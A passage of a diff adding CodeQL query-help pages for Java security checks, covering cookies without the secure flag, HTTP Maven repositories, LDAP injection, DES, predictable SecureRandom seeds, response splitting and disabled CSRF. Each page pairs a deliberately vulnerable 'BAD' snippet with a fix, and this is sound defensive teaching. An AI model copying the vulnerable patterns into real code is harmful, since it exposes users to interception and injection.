a cookie can cause it to be sent in cleartext. This makes it easier for an attacker to intercept. + + +## Recommendation +Always use `setSecure` to set the 'secure' flag on a cookie before adding it to an `HttpServletResponse`. + + +## Example +This example shows two ways of adding a cookie to an `HttpServletResponse`. The first way leaves out the setting of the 'secure' flag; the second way includes the setting of the flag. + + +```java +public static void test(HttpServletRequest request, HttpServletResponse response) { + { + Cookie cookie = new Cookie("secret", "fakesecret"); + + // BAD: 'secure' flag not set + response.addCookie(cookie); + } + + { + Cookie cookie = new Cookie("secret", "fakesecret"); + + // GOOD: set 'secure' flag + cookie.setSecure(true); + response.addCookie(cookie); + } +} +``` + +## References +* The CERT Oracle Secure Coding Standard for Java: [SER03-J. Do not serialize unencrypted, sensitive data](https://www.securecoding.cert.org/confluence/display/java/SER03-J.+Do+not+serialize+unencrypted+sensitive+data). +* Java 2 Platform Enterprise Edition, v5.0, API Specifications: [Class Cookie](http://docs.oracle.com/javaee/5/api/javax/servlet/http/Cookie.html). +* Common Weakness Enumeration: [CWE-614](https://cwe.mitre.org/data/definitions/614.html). \ No newline at end of file diff --git a/docs/language/query-help/java/InsecureDependencyResolution.md b/docs/language/query-help/java/InsecureDependencyResolution.md new file mode 100644 index 00000000000..eb39908ba75 --- /dev/null +++ b/docs/language/query-help/java/InsecureDependencyResolution.md @@ -0,0 +1,135 @@ +# Failure to use HTTPS or SFTP URL in Maven artifact upload/download + +``` +ID: java/maven/non-https-url +Kind: problem +Severity: error +Precision: very-high +Tags: security external/cwe/cwe-300 external/cwe/cwe-319 external/cwe/cwe-494 external/cwe/cwe-829 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-829/InsecureDependencyResolution.ql) + +Using an insecure protocol like HTTP or FTP to download your dependencies leaves your Maven build vulnerable to a [Man in the Middle (MITM)](https://en.wikipedia.org/wiki/Man-in-the-middle_attack). This can allow attackers to inject malicious code into the artifacts that you are resolving and infect build artifacts that are being produced. This can be used by attackers to perform a [Supply chain attack](https://en.wikipedia.org/wiki/Supply_chain_attack) against your project's users. + +This vulnerability has a [ CVSS v3.1 base score of 8.1/10 ](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H&version=3.1). + + +## Recommendation +Always use HTTPS or SFTP to download artifacts from artifact servers. + + +## Example +These examples show examples of locations in Maven POM files where artifact repository upload/download is configured. The first shows the use of HTTP, the second shows the use of HTTPS. + + +```xml + + + + 4.0.0 + + com.semmle + parent + 1.0 + pom + + Security Testing + An example of insecure download and upload of dependencies + + + + insecure-releases + Insecure Repository Releases + + http://insecure-repository.example + + + insecure-snapshots + Insecure Repository Snapshots + + http://insecure-repository.example + + + + + insecure + Insecure Repository + + http://insecure-repository.example + + + + + insecure-plugins + Insecure Repository Releases + + http://insecure-repository.example + + + + +``` + +```xml + + + + 4.0.0 + + com.semmle + parent + 1.0 + pom + + Security Testing + An example of secure download and upload of dependencies + + + + insecure-releases + Secure Repository Releases + + https://insecure-repository.example + + + insecure-snapshots + Secure Repository Snapshots + + https://insecure-repository.example + + + + + insecure + Secure Repository + + https://insecure-repository.example + + + + + insecure-plugins + Secure Repository Releases + + https://insecure-repository.example + + + + +``` + +## References +* Research: [ Want to take over the Java ecosystem? All you need is a MITM! ](https://medium.com/bugbountywriteup/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb?source=friends_link&sk=3c99970c55a899ad9ef41f126efcde0e) +* Research: [ How to take over the computer of any Java (or Closure or Scala) Developer. ](https://max.computer/blog/how-to-take-over-the-computer-of-any-java-or-clojure-or-scala-developer/) +* Proof of Concept: [ mveytsman/dilettante ](https://github.com/mveytsman/dilettante) +* Additional Gradle & Maven plugin: [ Announcing nohttp ](https://spring.io/blog/2019/06/10/announcing-nohttp) +* Java Ecosystem Announcement: [ HTTP Decommission Artifact Server Announcements ](https://gist.github.com/JLLeitschuh/789e49e3d34092a005031a0a1880af99) +* Common Weakness Enumeration: [CWE-300](https://cwe.mitre.org/data/definitions/300.html). +* Common Weakness Enumeration: [CWE-319](https://cwe.mitre.org/data/definitions/319.html). +* Common Weakness Enumeration: [CWE-494](https://cwe.mitre.org/data/definitions/494.html). +* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html). \ No newline at end of file diff --git a/docs/language/query-help/java/IntMultToLong.md b/docs/language/query-help/java/IntMultToLong.md new file mode 100644 index 00000000000..3de141c4a3b --- /dev/null +++ b/docs/language/query-help/java/IntMultToLong.md @@ -0,0 +1,43 @@ +# Result of multiplication cast to wider type + +``` +ID: java/integer-multiplication-cast-to-long +Kind: problem +Severity: warning +Precision: very-high +Tags: reliability security correctness types external/cwe/cwe-190 external/cwe/cwe-192 external/cwe/cwe-197 external/cwe/cwe-681 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Likely%20Bugs/Arithmetic/IntMultToLong.ql) + +An integer multiplication that is assigned to a variable of type `long` or returned from a method with return type `long` may cause unexpected arithmetic overflow. + + +## Recommendation +Casting to type `long` before multiplying reduces the risk of arithmetic overflow. + + +## Example +In the following example, the multiplication expression assigned to `j` causes overflow and results in the value `-1651507200` instead of `4000000000000000000`. + + +```java +int i = 2000000000; +long j = i*i; // causes overflow +``` +In the following example, the assignment to `k` correctly avoids overflow by casting one of the operands to type `long`. + + +```java +int i = 2000000000; +long k = i*(long)i; // avoids overflow +``` + +## References +* J. Bloch and N. Gafter, *Java Puzzlers: Traps, Pitfalls, and Corner Cases*, Puzzle 3. Addison-Wesley, 2005. +* The Java Language Specification: [Multiplication Operator](http://docs.oracle.com/javase/specs/jls/se7/html/jls-15.html#jls-15.17.1). +* The CERT Oracle Secure Coding Standard for Java: [NUM00-J. Detect or prevent integer overflow](https://www.securecoding.cert.org/confluence/display/java/NUM00-J.+Detect+or+prevent+integer+overflow). +* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). +* Common Weakness Enumeration: [CWE-192](https://cwe.mitre.org/data/definitions/192.html). +* Common Weakness Enumeration: [CWE-197](https://cwe.mitre.org/data/definitions/197.html). +* Common Weakness Enumeration: [CWE-681](https://cwe.mitre.org/data/definitions/681.html). \ No newline at end of file diff --git a/docs/language/query-help/java/LdapInjection.md b/docs/language/query-help/java/LdapInjection.md new file mode 100644 index 00000000000..760de481db4 --- /dev/null +++ b/docs/language/query-help/java/LdapInjection.md @@ -0,0 +1,142 @@ +# LDAP query built from user-controlled sources + +``` +ID: java/ldap-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-090 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-090/LdapInjection.ql) + +If an LDAP query is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to run malicious LDAP queries. + + +## Recommendation +If user input must be included in an LDAP query, it should be escaped to avoid a malicious user providing special characters that change the meaning of the query. If possible build the LDAP query using framework helper methods, for example from Spring's `LdapQueryBuilder` and `LdapNameBuilder`, instead of string concatenation. Alternatively, escape user input using an appropriate LDAP encoding method, for example: `encodeForLDAP` or `encodeForDN` from OWASP ESAPI, `LdapEncoder.filterEncode` or `LdapEncoder.nameEncode` from Spring LDAP, or `Filter.encodeValue` from UnboundID library. + + +## Example +In the following examples, the code accepts an "organization name" and a "username" from the user, which it uses to query LDAP. + +The first example concatenates the unvalidated and unencoded user input directly into both the DN (Distinguished Name) and the search filter used for the LDAP query. A malicious user could provide special characters to change the meaning of these queries, and search for a completely different set of values. The LDAP query is executed using Java JNDI API. + +The second example uses the OWASP ESAPI library to encode the user values before they are included in the DN and search filters. This ensures the meaning of the query cannot be changed by a malicious user. + + +```java +import javax.naming.directory.DirContext; +import org.owasp.esapi.Encoder; +import org.owasp.esapi.reference.DefaultEncoder; + +public void ldapQueryBad(HttpServletRequest request, DirContext ctx) throws NamingException { + String organizationName = request.getParameter("organization_name"); + String username = request.getParameter("username"); + + // BAD: User input used in DN (Distinguished Name) without encoding + String dn = "OU=People,O=" + organizationName; + + // BAD: User input used in search filter without encoding + String filter = "username=" + userName; + + ctx.search(dn, filter, new SearchControls()); +} + +public void ldapQueryGood(HttpServletRequest request, DirContext ctx) throws NamingException { + String organizationName = request.getParameter("organization_name"); + String username = request.getParameter("username"); + + // ESAPI encoder + Encoder encoder = DefaultEncoder.getInstance(); + + // GOOD: Organization name is encoded before being used in DN + String safeOrganizationName = encoder.encodeForDN(organizationName); + String safeDn = "OU=People,O=" + safeOrganizationName; + + // GOOD: User input is encoded before being used in search filter + String safeUsername = encoder.encodeForLDAP(username); + String safeFilter = "username=" + safeUsername; + + ctx.search(safeDn, safeFilter, new SearchControls()); +} +``` +The third example uses Spring `LdapQueryBuilder` to build an LDAP query. In addition to simplifying the building of complex search parameters, it also provides proper escaping of any unsafe characters in search filters. The DN is built using `LdapNameBuilder`, which also provides proper escaping. + + +```java +import static org.springframework.ldap.query.LdapQueryBuilder.query; +import org.springframework.ldap.support.LdapNameBuilder; + +public void ldapQueryGood(@RequestParam String organizationName, @RequestParam String username) { + // GOOD: Organization name is encoded before being used in DN + String safeDn = LdapNameBuilder.newInstance() + .add("O", organizationName) + .add("OU=People") + .build().toString(); + + // GOOD: User input is encoded before being used in search filter + LdapQuery query = query() + .base(safeDn) + .where("username").is(username); + + ldapTemplate.search(query, new AttributeCheckAttributesMapper()); +} +``` +The fourth example uses `UnboundID` classes, `Filter` and `DN`, to construct a safe filter and base DN. + + +```java +import com.unboundid.ldap.sdk.LDAPConnection; +import com.unboundid.ldap.sdk.DN; +import com.unboundid.ldap.sdk.RDN; +import com.unboundid.ldap.sdk.Filter; + +public void ldapQueryGood(HttpServletRequest request, LDAPConnection c) { + String organizationName = request.getParameter("organization_name"); + String username = request.getParameter("username"); + + // GOOD: Organization name is encoded before being used in DN + DN safeDn = new DN(new RDN("OU", "People"), new RDN("O", organizationName)); + + // GOOD: User input is encoded before being used in search filter + Filter safeFilter = Filter.createEqualityFilter("username", username); + + c.search(safeDn.toString(), SearchScope.ONE, safeFilter); +} +``` +The fifth example shows how to build a safe filter and DN using the Apache LDAP API. + + +```java +import org.apache.directory.ldap.client.api.LdapConnection; +import org.apache.directory.api.ldap.model.name.Dn; +import org.apache.directory.api.ldap.model.name.Rdn; +import org.apache.directory.api.ldap.model.message.SearchRequest; +import org.apache.directory.api.ldap.model.message.SearchRequestImpl; +import static org.apache.directory.ldap.client.api.search.FilterBuilder.equal; + +public void ldapQueryGood(HttpServletRequest request, LdapConnection c) { + String organizationName = request.getParameter("organization_name"); + String username = request.getParameter("username"); + + // GOOD: Organization name is encoded before being used in DN + Dn safeDn = new Dn(new Rdn("OU", "People"), new Rdn("O", organizationName)); + + // GOOD: User input is encoded before being used in search filter + String safeFilter = equal("username", username); + + SearchRequest searchRequest = new SearchRequestImpl(); + searchRequest.setBase(safeDn); + searchRequest.setFilter(safeFilter); + c.search(searchRequest); +} +``` + +## References +* OWASP: [LDAP Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html). +* OWASP ESAPI: [OWASP ESAPI](https://owasp.org/www-project-enterprise-security-api/). +* Spring LdapQueryBuilder doc: [LdapQueryBuilder](https://docs.spring.io/spring-ldap/docs/current/apidocs/org/springframework/ldap/query/LdapQueryBuilder.html). +* Spring LdapNameBuilder doc: [LdapNameBuilder](https://docs.spring.io/spring-ldap/docs/current/apidocs/org/springframework/ldap/support/LdapNameBuilder.html). +* UnboundID: [Understanding and Defending Against LDAP Injection Attacks](https://ldap.com/2018/05/04/understanding-and-defending-against-ldap-injection-attacks/). +* Common Weakness Enumeration: [CWE-90](https://cwe.mitre.org/data/definitions/90.html). \ No newline at end of file diff --git a/docs/language/query-help/java/MaybeBrokenCryptoAlgorithm.md b/docs/language/query-help/java/MaybeBrokenCryptoAlgorithm.md new file mode 100644 index 00000000000..a6a9a51f529 --- /dev/null +++ b/docs/language/query-help/java/MaybeBrokenCryptoAlgorithm.md @@ -0,0 +1,44 @@ +# Use of a potentially broken or risky cryptographic algorithm + +``` +ID: java/potentially-weak-cryptographic-algorithm +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-327 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-327/MaybeBrokenCryptoAlgorithm.ql) + +Using broken or weak cryptographic algorithms can leave data vulnerable to being decrypted. + +Many cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that an attacker may be able to easily decrypt the encrypted data. + + +## Recommendation +Ensure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048. + + +## Example +The following code shows an example of using a java `Cipher` to encrypt some data. When creating a `Cipher` instance, you must specify the encryption algorithm to use. The first example uses DES, which is an older algorithm that is now considered weak. The second example uses AES, which is a strong modern algorithm. + + +```java +// BAD: DES is a weak algorithm +Cipher des = Cipher.getInstance("DES"); +cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec); + +byte[] encrypted = cipher.doFinal(input.getBytes("UTF-8")); + +// ... + +// GOOD: AES is a strong algorithm +Cipher des = Cipher.getInstance("AES"); + +// ... +``` + +## References +* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf). +* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf). +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/java/NettyResponseSplitting.md b/docs/language/query-help/java/NettyResponseSplitting.md new file mode 100644 index 00000000000..e155167ef9a --- /dev/null +++ b/docs/language/query-help/java/NettyResponseSplitting.md @@ -0,0 +1,72 @@ +# Disabled Netty HTTP header validation + +``` +ID: java/netty-http-response-splitting +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-113 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-113/NettyResponseSplitting.ql) + +Directly writing user input (for example, an HTTP request parameter) to an HTTP header can lead to an HTTP response-splitting vulnerability. If the user input includes blank lines in it, and if the servlet container does not itself escape the blank lines, then a remote user can cause the response to turn into two separate responses, one of which is controlled by the remote user. + + +## Recommendation +Guard against HTTP header splitting in the same way as guarding against cross-site scripting. Before passing any data into HTTP headers, either check the data for special characters, or escape any special characters that are present. + + +## Example +The following example shows the 'name' parameter being written to a cookie in two different ways. The first way writes it directly to the cookie, and thus is vulnerable to response-splitting attacks. The second way first removes all special characters, thus avoiding the potential problem. + + +```java +public class ResponseSplitting extends HttpServlet { + protected void doGet(HttpServletRequest request, HttpServletResponse response) + throws ServletException, IOException { + // BAD: setting a cookie with an unvalidated parameter + Cookie cookie = new Cookie("name", request.getParameter("name")); + response.addCookie(cookie); + + // GOOD: remove special characters before putting them in the header + String name = removeSpecial(request.getParameter("name")); + Cookie cookie2 = new Cookie("name", name); + response.addCookie(cookie2); + } + + private static String removeSpecial(String str) { + return str.replaceAll("[^a-zA-Z ]", ""); + } +} + +``` + +## Example +The following example shows the use of the library 'netty' with HTTP response-splitting verification configurations. The second way will verify the parameters before using them to build the HTTP response. + + +```java +import io.netty.handler.codec.http.DefaultHttpHeaders; + +public class ResponseSplitting { + // BAD: Disables the internal response splitting verification + private final DefaultHttpHeaders badHeaders = new DefaultHttpHeaders(false); + + // GOOD: Verifies headers passed don't contain CRLF characters + private final DefaultHttpHeaders goodHeaders = new DefaultHttpHeaders(); + + // BAD: Disables the internal response splitting verification + private final DefaultHttpResponse badResponse = new DefaultHttpResponse(version, httpResponseStatus, false); + + // GOOD: Verifies headers passed don't contain CRLF characters + private final DefaultHttpResponse goodResponse = new DefaultHttpResponse(version, httpResponseStatus); +} + +``` + +## References +* InfosecWriters: [HTTP response splitting](http://www.infosecwriters.com/Papers/DCrab_HTTP_Response.pdf). +* OWASP: [HTTP Response Splitting](https://www.owasp.org/index.php/HTTP_Response_Splitting). +* Wikipedia: [HTTP response splitting](http://en.wikipedia.org/wiki/HTTP_response_splitting). +* Common Weakness Enumeration: [CWE-113](https://cwe.mitre.org/data/definitions/113.html). \ No newline at end of file diff --git a/docs/language/query-help/java/NumericCastTainted.md b/docs/language/query-help/java/NumericCastTainted.md new file mode 100644 index 00000000000..6b32ad27e8f --- /dev/null +++ b/docs/language/query-help/java/NumericCastTainted.md @@ -0,0 +1,64 @@ +# User-controlled data in numeric cast + +``` +ID: java/tainted-numeric-cast +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-197 external/cwe/cwe-681 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-681/NumericCastTainted.ql) + +Casting a user-controlled numeric value to a narrower type can result in truncated values unless the input is validated. + +Narrowing conversions may cause potentially unintended results. For example, casting the positive integer value `128` to type `byte` yields the negative value `-128`. + + +## Recommendation +Guard against unexpected truncation of user-controlled arithmetic data by doing one of the following: + +* Validate the user input. +* Define a guard on the cast expression, so that the cast is performed only if the input is known to be within the range of the resulting type. +* Avoid casting to a narrower type, and instead continue to use a wider type. + +## Example +In this example, a value is read from standard input into a `long`. Because the value is a user-controlled value, it could be extremely large. Casting this value to a narrower type could therefore cause unexpected truncation. The `scaled2` example uses a guard to avoid this problem and checks the range of the input before performing the cast. If the value is too large to cast to type `int` it is rejected as invalid. + + +```java +class Test { + public static void main(String[] args) throws IOException { + { + long data; + + BufferedReader readerBuffered = new BufferedReader( + new InputStreamReader(System.in, "UTF-8")); + String stringNumber = readerBuffered.readLine(); + if (stringNumber != null) { + data = Long.parseLong(stringNumber.trim()); + } else { + data = 0; + } + + // AVOID: potential truncation if input data is very large, + // for example 'Long.MAX_VALUE' + int scaled = (int)data; + + //... + + // GOOD: use a guard to ensure no truncation occurs + int scaled2; + if (data > Integer.MIN_VALUE && data < Integer.MAX_VALUE) + scaled2 = (int)data; + else + throw new IllegalArgumentException("Invalid input"); + } + } +} +``` + +## References +* The CERT Oracle Secure Coding Standard for Java: [NUM12-J. Ensure conversions of numeric types to narrower types do not result in lost or misinterpreted data](https://www.securecoding.cert.org/confluence/display/java/NUM12-J.+Ensure+conversions+of+numeric+types+to+narrower+types+do+not+result+in+lost+or+misinterpreted+data). +* Common Weakness Enumeration: [CWE-197](https://cwe.mitre.org/data/definitions/197.html). +* Common Weakness Enumeration: [CWE-681](https://cwe.mitre.org/data/definitions/681.html). \ No newline at end of file diff --git a/docs/language/query-help/java/PotentiallyDangerousFunction.md b/docs/language/query-help/java/PotentiallyDangerousFunction.md new file mode 100644 index 00000000000..219a6a77282 --- /dev/null +++ b/docs/language/query-help/java/PotentiallyDangerousFunction.md @@ -0,0 +1,50 @@ +# Use of a potentially dangerous function + +``` +ID: java/potentially-dangerous-function +Kind: problem +Severity: warning +Precision: medium +Tags: reliability security external/cwe/cwe-676 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-676/PotentiallyDangerousFunction.ql) + +This rule finds calls to methods that are dangerous to use. Currently, it checks for calls to `Thread.stop`. + +Stopping a thread with `Thread.stop` causes it to receive a `ThreadDeath` exception. That exception propagates up the stack, releasing all monitors that the thread was holding. In some cases the relevant code will be protected by catching the `ThreadDeath` exception and cleaning up, but because the exception can potentially be thrown from so very many locations, it is impractical to catch all such cases. As a result, calling `Thread.stop` is likely to result in corrupt data. + + +## Recommendation +The best solution is usually to provide an alternate communication mechanism for the thread that might need to be interrupted early. For example, Oracle gives the following example of using a volatile variable to communicate whether the worker thread should exit: + + +```java +private volatile Thread blinker; + +public void stop() { + blinker = null; +} + +public void run() { + Thread thisThread = Thread.currentThread(); + while (blinker == thisThread) { + try { + Thread.sleep(interval); + } catch (InterruptedException e){ + } + repaint(); + } +} + +``` +It is also possible to use `Thread.interrupt` and to catch and handle `InterruptedException` when it occurs. However, it can be difficult to handle an `InterruptedException` everywhere it might occur; for example, the sample code above simply discards the exception rather than actually exiting the thread. + +Another strategy is to use message passing, for example via a `BlockingQueue`. In addition to passing the worker thread its ordinary work via such a message queue, the worker can be asked to exit by a particular kind of message being sent on the queue. + + +## References +* The CERT Oracle Secure Coding Standard for Java: [THI05-J. Do not use Thread.stop() to terminate threads](https://www.securecoding.cert.org/confluence/display/java/THI05-J.+Do+not+use+Thread.stop%28%29+to+terminate+threads). +* Java SE Documentation: [Java Thread Primitive Deprecation](http://docs.oracle.com/javase/7/docs/technotes/guides/concurrency/threadPrimitiveDeprecation.html). +* Java API: [Thread.interrupt](http://docs.oracle.com/javase/7/docs/api/java/lang/Thread.html#interrupt()), [BlockingQueue](http://docs.oracle.com/javase/7/docs/api/java/util/concurrent/BlockingQueue.html). +* Common Weakness Enumeration: [CWE-676](https://cwe.mitre.org/data/definitions/676.html). \ No newline at end of file diff --git a/docs/language/query-help/java/PredictableSeed.md b/docs/language/query-help/java/PredictableSeed.md new file mode 100644 index 00000000000..b1f12cc965c --- /dev/null +++ b/docs/language/query-help/java/PredictableSeed.md @@ -0,0 +1,46 @@ +# Use of a predictable seed in a secure random number generator + +``` +ID: java/predictable-seed +Kind: problem +Severity: error +Precision: high +Tags: security + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-335/PredictableSeed.ql) + +Using a predictable seed in a pseudo-random number generator can lead to predictability of the numbers generated by it. + + +## Recommendation +If the predictability of the pseudo-random number generator does not matter then consider using the faster `Random` class from `java.util`. If it is important that the pseudo-random number generator produces completely unpredictable values then either let the generator securely seed itself by not specifying a seed or specify a randomly generated, unpredictable seed. + + +## Example +In the first example shown here, a constant value is used as a seed. Depending on the implementation of ` SecureRandom`, this could lead to the same random number being generated each time the code is executed. + +In the second example shown here, the system time is used as a seed. Depending on the implementation of ` SecureRandom`, if an attacker knows what time the code was run, they could predict the generated random number. + +In the third example shown here, the random number generator is allowed to generate its own seed, which it will do in a secure way. + + +```java +SecureRandom prng = new SecureRandom(); +int randomData = 0; + +// BAD: Using a constant value as a seed for a random number generator means all numbers it generates are predictable. +prng.setSeed(12345L); +randomData = prng.next(32); + +// BAD: System.currentTimeMillis() returns the system time which is predictable. +prng.setSeed(System.currentTimeMillis()); +randomData = prng.next(32); + +// GOOD: SecureRandom implementations seed themselves securely by default. +prng = new SecureRandom(); +randomData = prng.next(32); + +``` + +## References \ No newline at end of file diff --git a/docs/language/query-help/java/ReadingFromWorldWritableFile.md b/docs/language/query-help/java/ReadingFromWorldWritableFile.md new file mode 100644 index 00000000000..f349e033c4b --- /dev/null +++ b/docs/language/query-help/java/ReadingFromWorldWritableFile.md @@ -0,0 +1,44 @@ +# Reading from a world writable file + +``` +ID: java/world-writable-file-read +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-732 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-732/ReadingFromWorldWritableFile.ql) + +Reading from a world-writable file is dangerous on a multi-user system because other users may be able to affect program execution by modifying or deleting the file. + + +## Recommendation +Do not make files explicitly world writable unless the file is intended to be written by multiple users on a multi-user system. In many cases, the file may only need to be writable for the current user. + +For some file systems, there may be alternatives to setting the file to be world writable. For example, POSIX file systems support "groups" which may be used to ensure that only subset of all the users can write to the file. Access Control Lists (ACLs) are available for many operating system and file system combinations, and can provide fine-grained read and write support without resorting to world writable permissions. + + +## Example +In the following example, we are loading some configuration parameters from a file: + +```java + +private void readConfig(File configFile) { + if (!configFile.exists()) { + // Create an empty config file + configFile.createNewFile(); + // Make the file writable for all + configFile.setWritable(true, false); + } + // Now read the config + loadConfig(configFile); +} + +``` +If the configuration file does not yet exist, an empty file is created. Creating an empty file can simplify the later code and is a convenience for the user. However, by setting the file to be world writable, we allow any user on the system to modify the configuration, not just the current user. If there may be untrusted users on the system, this is potentially dangerous. + + +## References +* The CERT Oracle Secure Coding Standard for Java: [FIO01-J. Create files with appropriate access permissions](https://www.securecoding.cert.org/confluence/display/java/FIO01-J.+Create+files+with+appropriate+access+permissions). +* Common Weakness Enumeration: [CWE-732](https://cwe.mitre.org/data/definitions/732.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ResponseSplitting.md b/docs/language/query-help/java/ResponseSplitting.md new file mode 100644 index 00000000000..b86c2ae34ef --- /dev/null +++ b/docs/language/query-help/java/ResponseSplitting.md @@ -0,0 +1,72 @@ +# HTTP response splitting + +``` +ID: java/http-response-splitting +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-113 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-113/ResponseSplitting.ql) + +Directly writing user input (for example, an HTTP request parameter) to an HTTP header can lead to an HTTP response-splitting vulnerability. If the user input includes blank lines in it, and if the servlet container does not itself escape the blank lines, then a remote user can cause the response to turn into two separate responses, one of which is controlled by the remote user. + + +## Recommendation +Guard against HTTP header splitting in the same way as guarding against cross-site scripting. Before passing any data into HTTP headers, either check the data for special characters, or escape any special characters that are present. + + +## Example +The following example shows the 'name' parameter being written to a cookie in two different ways. The first way writes it directly to the cookie, and thus is vulnerable to response-splitting attacks. The second way first removes all special characters, thus avoiding the potential problem. + + +```java +public class ResponseSplitting extends HttpServlet { + protected void doGet(HttpServletRequest request, HttpServletResponse response) + throws ServletException, IOException { + // BAD: setting a cookie with an unvalidated parameter + Cookie cookie = new Cookie("name", request.getParameter("name")); + response.addCookie(cookie); + + // GOOD: remove special characters before putting them in the header + String name = removeSpecial(request.getParameter("name")); + Cookie cookie2 = new Cookie("name", name); + response.addCookie(cookie2); + } + + private static String removeSpecial(String str) { + return str.replaceAll("[^a-zA-Z ]", ""); + } +} + +``` + +## Example +The following example shows the use of the library 'netty' with HTTP response-splitting verification configurations. The second way will verify the parameters before using them to build the HTTP response. + + +```java +import io.netty.handler.codec.http.DefaultHttpHeaders; + +public class ResponseSplitting { + // BAD: Disables the internal response splitting verification + private final DefaultHttpHeaders badHeaders = new DefaultHttpHeaders(false); + + // GOOD: Verifies headers passed don't contain CRLF characters + private final DefaultHttpHeaders goodHeaders = new DefaultHttpHeaders(); + + // BAD: Disables the internal response splitting verification + private final DefaultHttpResponse badResponse = new DefaultHttpResponse(version, httpResponseStatus, false); + + // GOOD: Verifies headers passed don't contain CRLF characters + private final DefaultHttpResponse goodResponse = new DefaultHttpResponse(version, httpResponseStatus); +} + +``` + +## References +* InfosecWriters: [HTTP response splitting](http://www.infosecwriters.com/Papers/DCrab_HTTP_Response.pdf). +* OWASP: [HTTP Response Splitting](https://www.owasp.org/index.php/HTTP_Response_Splitting). +* Wikipedia: [HTTP response splitting](http://en.wikipedia.org/wiki/HTTP_response_splitting). +* Common Weakness Enumeration: [CWE-113](https://cwe.mitre.org/data/definitions/113.html). \ No newline at end of file diff --git a/docs/language/query-help/java/SocketAuthRace.md b/docs/language/query-help/java/SocketAuthRace.md new file mode 100644 index 00000000000..4c7791290e5 --- /dev/null +++ b/docs/language/query-help/java/SocketAuthRace.md @@ -0,0 +1,49 @@ +# Race condition in socket authentication + +``` +ID: java/socket-auth-race-condition +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-421 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-421/SocketAuthRace.ql) + +A common pattern is to have a channel of communication open with a user, and then to open another channel, for example to transfer data. However, if user authentication is done over the original channel rather than the alternate channel, then an attacker may be able to connect to the alternate channel before the legitimate user does. This allows the attacker to impersonate the user by "piggybacking" on any previous authentication. + + +## Recommendation +When opening an alternate channel for an authenticated user (for example, a Java `Socket`), always authenticate the user over the new channel. + + +## Example +This example shows two ways of opening a connection for a user. In the first example, authentication is determined based on materials that the user has already provided (for example, their username and/or password), and then a new channel is opened. However, no authentication is done over the new channel, and so an attacker could connect to it before the user connects. + +In the second example, authentication is done over the socket channel itself, which verifies that the newly connected user is in fact the user that was expected. + + +```java +public void doConnect(int desiredPort, String username) { + ServerSocket listenSocket = new ServerSocket(desiredPort); + + if (isAuthenticated(username)) { + Socket connection1 = listenSocket.accept(); + // BAD: no authentication over the socket connection + connection1.getOutputStream().write(secretData); + } +} + +public void doConnect(int desiredPort, String username) { + ServerSocket listenSocket = new ServerSocket(desiredPort); + + Socket connection2 = listenSocket.accept(); + // GOOD: authentication happens over the socket + if (doAuthenticate(connection2, username)) { + connection2.getOutputStream().write(secretData); + } +} +``` + +## References +* Common Weakness Enumeration: [CWE-421](https://cwe.mitre.org/data/definitions/421.html). \ No newline at end of file diff --git a/docs/language/query-help/java/SpringCSRFProtection.md b/docs/language/query-help/java/SpringCSRFProtection.md new file mode 100644 index 00000000000..5c43ea25786 --- /dev/null +++ b/docs/language/query-help/java/SpringCSRFProtection.md @@ -0,0 +1,48 @@ +# Disabled Spring CSRF protection + +``` +ID: java/spring-disabled-csrf-protection +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-352 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-352/SpringCSRFProtection.ql) + +When you set up a web server to receive a request from a client without any mechanism for verifying that it was intentionally sent, then it is vulnerable to attack. An attacker can trick a client into making an unintended request to the web server that will be treated as an authentic request. This can be done via a URL, image load, XMLHttpRequest, etc. and can result in exposure of data or unintended code execution. + + +## Recommendation +When you use Spring, Cross-Site Request Forgery (CSRF) protection is enabled by default. Spring's recommendation 